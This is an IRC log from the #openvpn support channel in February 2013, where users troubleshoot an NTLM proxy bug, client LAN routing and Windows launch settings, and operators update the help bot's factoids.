15:31 < grendal-prime> ya but i dont want it to just start and connect all the time.
15:31 <@krzee> then i dunno
15:31 <@krzee> maybe this:
15:31 < grendal-prime> i need these guys to be able to log out and in. and...i have to push them routes
15:31 <@krzee> right click - properties - compat mode - run as admin
15:31 <@krzee> but i think that requires pw
15:32 -!- mirco [~mirco@p50805527.dip.t-dialin.net] has joined #openvpn
15:32 < grendal-prime> dude thanks
15:32 < grendal-prime> that looks exactly like what i need...
15:32 < grendal-prime> i owe you again...id have been fkn around with taht forever
15:33 <@krzee> i dont even use windows, it's just that common :D
15:33 < grendal-prime> looking for a check box..in a window...that i need to select from a drop down...under a fuzzy filter ..
15:33 <@krzee> totally
15:33 <@krzee> lol
15:33 < grendal-prime> how you been man?
15:34 <@krzee> by common i mean commonly not found by people
15:34 <@krzee> :D
15:34 <@krzee> good, finally home from "vacation"
15:34 <@krzee> which was more work than being home
15:34 <@krzee> lol
15:34 < grendal-prime> i hear ya
15:34 <@krzee> launched a new product
15:34 < grendal-prime> i got laid off from my networking job...and its harder being home that it was at work
15:35 <@krzee> did my first interview
15:35 <@krzee> http://www.kittyfeet.com/2013/02/14/jeff-from-liberty-private-network-talks-about-his-secure-bat-phones/
15:35 <@vpnHelper> Title: » Jeff from Liberty Private Network Talks About His Secure Bat Phones. Anarchy Gumbo Podcast (at www.kittyfeet.com)
15:35 < grendal-prime> when yo go to work every day..your wife just keeps adding to a list of crap you need to do and then when you get laid off ..you get that list.
15:36 -!- spitf1r3 [~quassel@89.200.144.70] has quit [Ping timeout: 260 seconds]
15:40 -!- mirovengi [~mirovengi@209.59.130.4] has left #openvpn []
15:47 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
15:49 -!- phantomcircuit [~phantomci@covertinferno.org] has joined #openvpn
15:53 -!- Orbi [~opera@anon-163-27.vpn.ipredator.se] has left #openvpn []
15:57 -!- nickanderson is now known as nickanderson_afk
15:58 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has quit [Ping timeout: 240 seconds]
15:59 -!- phantomcircuit [~phantomci@covertinferno.org] has quit [Quit: quit]
16:02 -!- sw0rdfish [sw0rdfish@bouncing.users.since.2011.panicbnc.org] has joined #openvpn
16:08 -!- phantomcircuit [~phantomci@covertinferno.org] has joined #openvpn
16:10 < hazardous> krzee: yo
16:11 -!- KaiForce [~chatzilla@adsl-70-228-64-42.dsl.akrnoh.ameritech.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 18.0.2/20130201065344]]
16:12 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
16:13 < novaflash> right
16:13 < novaflash> !cert
16:13 < novaflash> !search certificates
16:13 <@vpnHelper> There were no matching configuration variables.
16:13 < novaflash> nyatg.
16:13 < novaflash> !certificates
16:13 < novaflash> !pingpongballs
16:13 < hazardous> !novaflash
16:13 < hazardous> !cisco
16:13 <@vpnHelper> "cisco" is (#1) An open-source client for Cisco SSL VPN is available from http://www.infradead.org/openconnect.html or (#2) OpenConnect is availabe in FreeBSD ports in security/openconnect
16:13 < hazardous> well that's less fun
16:13 < novaflash> i like our !cisco better
16:15 < Perun> I want to add a route to the openvpn server to a network behind a client if the client connects... it is possible?
16:15 < Perun> only for one client
16:15 < novaflash> !gateway
16:15 < novaflash> why don't these knowledge things have any names i know!
16:15 < novaflash> !route
16:15 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide
16:25 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 256 seconds]
16:35 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:46 -!- grendal-prime [~sgraham@173-166-255-77-stockton.hfc.comcastbusiness.net] has quit [Ping timeout: 276 seconds]
16:47 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
16:48 -!- NomeFalso [~Aralucc10@151.77.232.145] has quit [Ping timeout: 255 seconds]
16:49 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds]
16:57 -!- sw0rdfish [sw0rdfish@bouncing.users.since.2011.panicbnc.org] has quit [Changing host]
16:57 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has joined #openvpn
17:18 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
17:20 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 276 seconds]
17:22 -!- NuclearMeltdown [~rep@unaffiliated/antiliberal] has quit [Ping timeout: 245 seconds]
17:25 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
18:04 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
18:11 -!- plut0 [~cory@pool-96-236-43-69.albyny.fios.verizon.net] has joined #openvpn
18:12 < plut0> getting this error when connecting, "received corrupted data from proxy server". client config: http://pastebin.com/hX9Cs7uV client log: http://pastebin.com/WkCKewP9
18:24 -!- mndo [~mndo@bl17-70-52.dsl.telepac.pt] has joined #openvpn
18:25 -!- ihre [~kaas@86.86.252.187] has joined #openvpn
18:27 -!- neilhwatson [~neil@cl-274.chi-03.us.sixxs.net] has joined #openvpn
18:31 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
18:31 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
18:43 -!- grendal-prime [~sgraham@adsl-99-22-153-166.dsl.skt2ca.sbcglobal.net] has joined #openvpn
18:43 -!- grendal-prime [~sgraham@adsl-99-22-153-166.dsl.skt2ca.sbcglobal.net] has quit [Client Quit]
18:46 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
18:46 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
18:46 -!- ihre [~kaas@86.86.252.187] has quit [Read error: Connection reset by peer]
18:47 -!- ihre [~kaas@86.86.252.187] has joined #openvpn
18:48 < plut0> anyone?
18:52 -!- brute11k1 [~brute11k@89.249.235.210] has joined #openvpn
18:54 -!- brute11k [~brute11k@89.249.235.210] has quit [Ping timeout: 264 seconds]
18:58 -!- nickanderson_afk is now known as nickanderson
18:58 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
18:59 -!- nickanderson is now known as nickanderson_afk
19:04 -!- mndo [~mndo@bl17-70-52.dsl.telepac.pt] has quit [Ping timeout: 276 seconds]
19:05 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
19:05 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
19:10 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
19:10 -!- sauce [sauce@unaffiliated/sauce] has quit [Excess Flood]
19:11 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
19:12 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 272 seconds]
19:13 -!- sauce [sauce@unaffiliated/sauce] has quit [Excess Flood]
19:15 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 260 seconds]
19:15 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 260 seconds]
19:16 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
19:16 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
19:42 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 252 seconds]
19:42 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 252 seconds]
19:45 < pekster> plut0: Near as I can tell from the code, you'll get that if the ntlm_phase_3 routine fails to return expected data from the proxy. Maybe some setting isn't right on your client; possibly see the --show-proxy-settings flag to openvpn, or check your proxy server's logs
19:46 < plut0> pekster: did you see this post? https://forums.openvpn.net/topic11158.html
19:46 <@vpnHelper> Title: OpenVPN Support Forum http-proxy with TMG return malformed packet in wireshark : Configuration (at forums.openvpn.net)
19:46 < plut0> pekster: seems like an outstanding bug with a patch for 2.1 but nothing newer
19:47 < plut0> pekster: sorry this link, https://forums.openvpn.net/topic7945.html
19:47 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN client behind ISA ( Forefront TMG ) : Configuration (at forums.openvpn.net)
19:50 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
19:51 < pekster> plut0: You could try a patched build with line 502 in proxy.c changed to "char buf2[512];" per thte 2nd forum link, although I'm not sure what the ramifications are
19:52 < pekster> plut0: Oh, and probably line 625 to match too
19:52 < pekster> ie: 511 there
19:53 < plut0> pekster: it's a windows client and i'm not capable of building that
19:56 < plut0> guess i should file a bug huh?
19:56 < pekster> I can't confirm if that source fix is even valid or not; I'm just pointing you to where I think that reference is in the 2.3.0 source-tree
19:56 < plut0> i'm going to file a bug
19:56 < pekster> I don't have an NTML-enabled proxy, so I'm not able to test the problem
19:57 < plut0> especially since others have the same issue
19:57  * ecrist checks in
19:57 < pekster> What did you find out with the option I gave you above that'll try and get your proxy info?
19:58 < plut0> pekster: i haven't tried that yet, is that passed on the client?
19:58 < pekster> The manpage would know
19:58 < pekster> !man
19:58 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend!
19:59 < pekster> It's often a good idea to look up options you're recommend to check out
19:59 < plut0> booting up other laptop to test again, give me a minute
20:02 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
20:06 -!- mirco [~mirco@p50805527.dip.t-dialin.net] has quit [Quit: mirco]
20:08 < pekster> If you do end up with persistent problems, this might be an already-opened bug you can use instead of opening a duplicate: https://community.openvpn.net/openvpn/ticket/94
20:08 <@vpnHelper> Title: #94 (NTLM proxy authentication does not work well) – OpenVPN Community (at community.openvpn.net)
20:08 < pekster> It appears to be thte same issue
20:08 < plut0> guess i can't do this remotely
20:10 < pekster> Well, first step is to verify the info you're trying to use is valid. Your config has "basic" auth listed, but then the logs list NTLM being attempted, which I find a bit odd
20:10 < pekster> Hence why I wanted to know what the Windows auto-discovery found about your proxy
20:10 < plut0> i tried it both ways
20:11 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
20:11 < pekster> It might be worth linking to the 2nd forum post (the one with the actual source details)
20:11 -!- raidz is now known as raidz_away
20:12 < pekster> Oh, and I had my source references wrong: it's ntml.c that post was referring to
20:12 < plut0> is it the same bug?
20:13 < pekster> Maybe. I dunno
20:13 < pekster> https://community.openvpn.net/openvpn/attachment/ticket/94/openvpn-ntlm-error1.png suggest it might be
20:13 <@vpnHelper> Title: openvpn-ntlm-error1.png on Ticket #94 – Attachment – OpenVPN Community (at community.openvpn.net)
20:13 < pekster> See what a wire trace shows you
20:13 < pekster> Append it if it looksk relevant
20:15 < pekster> https://forums.openvpn.net/topic7945.html
20:15 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN client behind ISA ( Forefront TMG ) : Configuration (at forums.openvpn.net)
20:16 < pekster> Someone said one of the patches worked well on the 2nd page. Include that reference, perhaps
20:16 < plut0> pekster: if i use show-proxy-settings, there is no log output
20:17 < pekster> Interesting, I guess it didn't do what I expected
20:18 < plut0> yeah not sure why that is
20:18 < pekster> Well, beteween the forum reference and your logs, you probably have enough for a bugreport, although without knowing exactly what's going wrong over the wire it might get tough to debug. See the forum reference for some of the issues there, and maybe make a note on the thread too with your details
20:19 < pekster> I assume the proxy works in a browser with the same settings, for instance?
20:19 < plut0> yup
20:19 < plut0> used for 1000+ clients just fine
20:20 < pekster> Then it appears to be related to that bug, and certainly the forum entry
20:21 < plut0> hmm wait a minute
20:23 < plut0> wonder if any of these other options would help
20:29 < plut0> got a wireshark here
20:29 < plut0> ntlmssp_negotiate (malformed packet)
20:29 < pekster> Compare the sequence of commands exchanged with a functional proxy request
20:30 < pekster> See if you need to change any options openvpn is using, or if it appears to be a fault in the exchange spoken
20:30 < pekster> Add what you find to any report you file as relevant
20:31 < plut0> ok through a browser it says ntlmssp_negotiate
20:31 < plut0> without the malformed packet
20:36 < plut0> malformed packet exception occurred
20:36 < plut0> so says wireshark
20:37 < plut0> pekster: want me to file a new bug or add to this one?
20:38 <@ecrist> plut0: if you can provide specific steps to reproduce your bug, please open a ticket
20:39 < plut0> ok
20:39 <@ecrist> the easier you make the issue to reproduce and test, the more likely your bug will be resolved
20:40 < plut0> how are you going to reproduce it if you don't have the appropriate proxy?
20:41 < plut0> hmm how do i report a bug? i'm logged in and don't see an option
20:41 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
20:41 < plut0> nm i found it
20:44 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
20:49 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
20:49 < plut0> ecrist: pekster: here you go, https://community.openvpn.net/openvpn/ticket/259#comment:1
20:49 <@vpnHelper> Title: #259 (received corrupted data from proxy server) – OpenVPN Community (at community.openvpn.net)
20:50 <@ecrist> plut0: how are we giong to fix something we can't reproduce?
20:50 < pekster> That lacks your config, log output, the packet details, or the reproduction details. As far as bugreports go, it's a poor quality one
20:52 < pekster> 20:13:41 < pekster> See what a wire trace shows you
20:52 < pekster> 20:13:47 < pekster> Append it if it looksk relevant
20:52 < pekster> [...]
20:52 < pekster> 20:29:53 < pekster> Compare the sequence of commands exchanged with a functional proxy
20:52 < pekster>                     request
20:52 < pekster> 20:30:14 < pekster> See if you need to change any options openvpn is using, or if it appears
20:52 < pekster>                     to be a fault in the exchange spoken
20:53 < pekster> 20:30:37 < pekster> Add what you find to any report you file as relevant
20:53 < pekster> [...]
20:53 < pekster> 20:39:23 <@ecrist> the easier you make the issue to reproduce and test, the more likely your
20:53 < pekster> dammit
20:53  * pekster steps away from chat for a bit
20:53 < pekster> The URL I intended to paste: fpaste.org/ADX2/
20:53 < plut0> attached my config and log
20:54 <@ecrist> plut0: message 4 in the forum thread you link specifically asks for a wireshark capture. :)
20:55 < plut0> ecrist: not sure i can do that, sensitive data
20:56 <@ecrist> !topsecret
20:56 <@vpnHelper> "topsecret" is if your setup is so top secret that you cant post your configs or logs, please leave now and go find support you trust.
20:56 <@ecrist> plut0: you should be able to filter your tcpdump
20:57 < plut0> if this isn't working with ntlm shouldn't that be easy to reproduce?
20:57 <@ecrist> the problem you're going to run into is nobody cares
20:57 <@ecrist> devs tend to fix problems they 1) know about, 2) care about
20:57 <@ecrist> or 3) someone makes easy for them to fix
20:57 < plut0> someone did make a patch
20:58 <@ecrist> we're not going to patch openvpn without being able to test/verify it works
20:58 <@ecrist> have you tested the patch?
20:58 <@ecrist> did it work for you?
20:58 < plut0> ecrist: no because the patch is for 2.1
20:58 <@ecrist> so hand-patch 2.3
20:58 -!- [fred] [~fred@konfuzi.us] has joined #openvpn
20:58 < plut0> ecrist: i don't have the tools to build a windows client
20:58 <@ecrist> you're asking us to put more work in that you're willing to
20:59 < plut0> how am i going to build the windows client?
20:59 <@ecrist> meh - you created a ticket, someone might get to it
20:59 <@ecrist> if that's not OK, you can have your money back?
20:59 <@ecrist> :P
21:00 < plut0> can i press a button and it builds everything for me - or - do i have to install 5 pieces of software on a windows machine and fuss around for hours trying to compile it?
21:00 <@ecrist> for windows, it's a fuss
21:00 < plut0> i imagine
21:00 <@ecrist> you don't have a unix box around?
21:00 < plut0> i do
21:00 -!- SkeeterB [SkeeterB@70-41-105-173.cust.wildblue.net] has joined #openvpn
21:01 < SkeeterB> hi
21:01 <@ecrist> so patch that and test it on the linux box
21:01 <@ecrist> then you can at least demonstrate it works
21:01 < plut0> i can't bring the linux desktop to work and try it
21:01 <@ecrist> and maybe provide an updated patch for the 2.3 branch
21:01 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
21:02 <@ecrist> plut0: install virtualbox on that windows box, and put a linux vm on there
21:02 <@ecrist> test that way
21:02 < plut0> ecrist: easier said then done
21:03 <@ecrist> like i said, you created a ticket, and that's where it'll stay until a dev gets to it
21:03 < SkeeterB> my computer is wonky, its gotten where i can't access some sites without going through my ISP's proxy server. I don't want to do that if I am connected to a VPN. That kind of defeats the purpose of a VPN doesn't it?
21:03 <@ecrist> fwiw, looking at that patch, it's not trivial
21:04 < plut0> ecrist: so it won't get fixed probably?
21:04 <@ecrist> plut0: I'm not saying that, but I don't expect to see anyone jump on it any time soon
21:04 < plut0> ecrist: the other bug pekster linked was 2 years old :(
21:04 <@ecrist> SkeeterB: depends on your VPN config
21:05 <@ecrist> plut0: the forum post isn't a proper way to report a bug
21:05 < plut0> ecrist: no it was an actual bug
21:05 < SkeeterB> I've tried using other VPNs not OpenVPN put PPTP VPNs and it does the same thing.
21:05 <@ecrist> SkeeterB: do you have your VPN configured to redirect the default gateway?
21:05 <@ecrist> and what are you using for DNS?
21:06 <@ecrist> I'm guessing they're doing some odd DNS resolution to partially cause your error
21:06 < SkeeterB> my internet goes through my router
21:06 < plut0> ecrist: https://community.openvpn.net/openvpn/ticket/94
21:06 <@vpnHelper> Title: #94 (NTLM proxy authentication does not work well) – OpenVPN Community (at community.openvpn.net)
21:06 <@ecrist> right, and your DNS is assigned via DHCP, probably from your ISP, which is passed into  your internal network.
21:07 <@ecrist> I've pinged the developers, plut0. it's all we can do
21:07 < plut0> ecrist: thank you, i appreciate it
21:11 < SkeeterB> yeah my DNS is set through my ISP's DCHP, I've used openDNS briefly, and it did ok
21:12 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
21:12 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
21:17 < dbhaber_> bored
21:17 < dbhaber_> pfsense makes openvpn so easy
21:18 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
21:18 < rob0> as long as you're not doing anything unusual, and until something goes wrong ... then pfsense is a nightmare.
21:19 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
21:21 <@ecrist> heh
21:21 <@ecrist> about a  year ago, the lead dev of pfsense and I nearly got into a fist fight
21:21 <@ecrist> in large part, due to the shitty implementation of openvpn they had at the time
21:24 < uberushaximus> what was his defense?
21:26 <@ecrist> I don't recall
21:26 <@ecrist> we were both well-lubed with beer
21:28 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 272 seconds]
21:28 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 272 seconds]
21:31 -!- plut0 [~cory@pool-96-236-43-69.albyny.fios.verizon.net] has left #openvpn []
21:31 -!- Harleyman [~SkeeterB@149.255.32.238] has joined #openvpn
21:32 < Harleyman> I'm actually connected IRCusing PrivateTunnel
21:32 -!- SkeeterB [SkeeterB@70-41-105-173.cust.wildblue.net] has quit [Read error: Connection reset by peer]
21:33 < Harleyman> i'm SkeeterB, that other was a ghost.
21:34 < Harleyman> It actually shows I'm connect on the Privatetunnel site.
21:41 -!- nutron [~nutron@unaffiliated/nutron] has quit [Read error: Connection reset by peer]
21:50 -!- Harleyman [~SkeeterB@149.255.32.238] has left #openvpn []
22:00 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
22:11 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
22:20 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
22:22 -!- nutron [~nutron@unaffiliated/nutron] has quit [Max SendQ exceeded]
22:22 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
22:28 -!- else- [~else@towely.iodev.org] has quit [Read error: Operation timed out]
22:53 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
22:58 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has quit [Read error: Operation timed out]
22:59 -!- ihre [~kaas@86.86.252.187] has quit [Read error: Operation timed out]
23:42 -!- Orbi [~opera@109.129.18.33] has joined #openvpn
--- Day changed Thu Feb 21 2013
00:13 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
00:18 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
00:18 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
00:18 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
00:18 -!- mode/#openvpn [+o krzee] by ChanServ
00:18 <@krzee> novaflash,
00:18 <@krzee> !factoids
00:19 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
00:19 <@krzee> thats all of the keys the bot knows
00:21 < pekster> krzee: You the bot admin? I shot you a memo, but it still thinks I'm scum
00:40 -!- Orbi [~opera@109.129.18.33] has left #openvpn []
00:49 <@krzee> weird, i seem to have +owner but not have +admin on it, and cant login right now, will look later
00:52 <@krzee> ahh nevermind im in =]
00:52 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection]
01:02 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
01:02 -!- mode/#openvpn [+o vpnHelper] by ChanServ
01:03 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Client Quit]
01:04 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
01:04 -!- mode/#openvpn [+o vpnHelper] by ChanServ
01:05 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Client Quit]
01:06 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
01:06 -!- mode/#openvpn [+o vpnHelper] by ChanServ
01:09 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Client Quit]
01:17 < pekster> Is there anything required to make autoconf work besides the online docs invocation of 'autoconf -v -i' ? I'm trying to test what should be a trivial patch, and autoconf throws errors about macros I didn't change: http://paste.kde.org/677402/
01:18 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
01:18 -!- mode/#openvpn [+o vpnHelper] by ChanServ
01:18 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Client Quit]
01:20 <@krzee> dammit, i should have copied the userfile, supybot decided to delete half of it because of hostmask overlap
01:20 <@krzee> EugeneKay, im gunna need to readd you, sorry
01:21 < EugeneKay> Mrh?
01:21 < EugeneKay> Oh
01:21 < EugeneKay> S'ok, my hostmask has changed anyway
01:21 < EugeneKay> Actually, just give me a bot user account
01:21 < EugeneKay> I can mangle it myself :-p
01:21 <@krzee> you had one til a minute ago
01:21 < EugeneKay> Har
01:23 < pekster> fwiw, I also get the same build error (just slightly different line numberes) without my code changes, so it's not just my patch
01:23 <@krzee> youd prolly have better results in the dev chan
01:24 < pekster> Yea, I can cross-post there. I'll re-paste with the line numbers and output from a vanilla 2.3.0 tag checkout
01:25  * EugeneKay goes back to drinking
01:41 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
01:42 -!- mode/#openvpn [+o vpnHelper] by ChanServ
01:42  * pekster stabs autoconf with a rusty fork
01:42 <@krzee> EugeneKay / pekster you are both added, should be able to change your password
01:42 < pekster> Got it working (at least enough to test my patch.) This thing spits out awful errors
01:43 <@krzee> and should be able to use !learn !forget
01:44 < pekster> Great, now I !forgot what entry I had a pending update for :P
01:45 < pekster> !mitm
01:45 <@vpnHelper> "mitm" is (#1) http://openvpn.net/index.php/documentation/howto.html#mitm to know about stopping Man-in-the-Middle attacks by signing the server cert specially or (#2) use !servercert to generate the server cert manually or use the easy-rsa build-key-server script to build your server certificates or (#3) then use: ns-cert-type server in the client config
01:45 < pekster> !forget mitm 3
01:45 <@vpnHelper> Joo got it.
01:46 < pekster> !learn mitm then use: "remote-cert-tls server" in the client config
01:46 <@vpnHelper> (learn [<channel>] <key> as <value>) -- Associates <key> with <value>. <channel> is only necessary if the message isn't sent on the channel itself. The word 'as' is necessary to separate the key from the value. It can be changed to another word via the learnSeparator registry value.
01:46 < pekster> !learn mitm as then use: "remote-cert-tls server" in the client config
01:46 <@vpnHelper> Joo got it.
01:46 <@krzee> depends how it was signed
01:46 < pekster> That works with easy-rsa
01:46 <@krzee> good enough
01:46 < pekster> And should be preferred to "Netscape" extensions
01:47 < pekster> It does a better job of checking EKU fields
01:47 <@krzee> for convention… but is there anything gained?
01:47 <@krzee> (for our small use case)
01:48 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
01:49 < pekster> Probably not, but this method is listed as a better choice in the official howto
01:50 <@krzee> right, iirc james said that because its the standard convention
01:51 < pekster> Personally, I just use --remote-cert-eku, but I'm not going to push that on people wanting the quick solution via easy-rsa
01:52 < pekster> remote-cert-tls checks ku and eku for the relevant OIDs; technically we wouldn't even need the silly ns-cert-type field anymore, but it'll have to stay in easy-rsa for backwards-compat reasons at this point
01:54 <@krzee> little change in security, but no reason to use the old one
01:54 < pekster> Yea, exactly. It's just an extra wasted field taking up bytes
01:55  * pekster shrugs. The factoid won't hurt anyone unless they're using a 2.0.x or earlier release. Quite frankly they need to update, becuase lots of what the bot tells them won't work with stuff that old
01:55 <@krzee> i mean config option
01:56 <@krzee> but ya that too
01:57 < pekster> And yes, I like things to be "proper" :P
02:03 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 252 seconds]
02:16 -!- defswork [~andy@141.0.50.105] has joined #openvpn
02:18 -!- mirco [~mirco@p50806731.dip.t-dialin.net] has joined #openvpn
02:27 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
02:38 < matsh> pekster: Can you assign ip aliases for tun interfaces in openvpn.conf to allow a jail on the openvpn server to access the vpn?
02:41 < pekster> No idea why you're asking me specifically
02:43 < pekster> The concept of a network "alias" is used to assign >1 IP on systems that can't do that on the device itself. I don't work often with BSD systems and can't help much with that
02:43 < pekster> That said, tun is a point-to-point interface; it's probably not going to do what you expect to drop a 2nd IP there. You should fix your jail to do what you want instead
02:51 < matsh> I have no idea either.
02:51 < matsh> But thanks
03:07 -!- dazo_afk is now known as dazo
03:16 -!- tyteen4a03 [tyteen4a03@69.50.229.69] has quit [Ping timeout: 248 seconds]
03:17 -!- tyteen4a03 [tyteen4a03@69.50.229.69] has joined #openvpn
03:22 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
03:30 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
03:30 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 245 seconds]
03:31 -!- EugeneKay [eugene@madeitwor.se] has quit [Ping timeout: 245 seconds]
03:32 -!- nutcase [~nutcase@2605:6400:2:fed5:22:0:b4f1:bd54] has joined #openvpn
03:32 -!- nutcase [~nutcase@2605:6400:2:fed5:22:0:b4f1:bd54] has quit [Changing host]
03:32 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
03:33 -!- EugeneKay [eugene@madeitwor.se] has joined #openvpn
03:35 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Client Quit]
03:43 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
03:44 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Client Quit]
03:47 -!- mndo [~mndo@bl17-91-212.dsl.telepac.pt] has joined #openvpn
03:56 -!- dballester [~dballeste@139.49.17.109.rev.sfr.net] has joined #openvpn
03:56 < dballester> hi to all
04:00 -!- mirco [~mirco@p50806731.dip.t-dialin.net] has quit [Quit: mirco]
04:04 < dballester> if in a client config I type push "route 10.0.0.0 255.255.0.0" i should see a new route entry in the client routing table, isn't it?
04:07 < pekster> Possibly, if the client initiates a pull request (via --client or --pull features) and is not omitting adding routes and does not have an error when adding them
04:12 < dballester> i don't see any error in client syslog but i don't see the route in client's routing table :/
04:13 < pekster> pastebin logs with the client at 'verb 4'
04:15 < dballester> may be i must activate the verb 4 to see
04:16 < dballester> :)
04:18 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
04:19 -!- mirco_ [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
04:23 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds]
04:23 -!- mirco_ is now known as mirco
04:25 < dballester> pekster, by now I'm reading "Including multiple machines on the client side when using a routed VPN (dev tun)" from http://openvpn.net/index.php/open-source/documentation/howto.html
04:25 <@vpnHelper> Title: HOWTO (at openvpn.net)
04:27 < pekster> dballester: And 10.0/16 is the client-side network?
04:27 < dballester> i will try to paste an image
04:28 < pekster> !clientlan
04:28 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
04:28 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
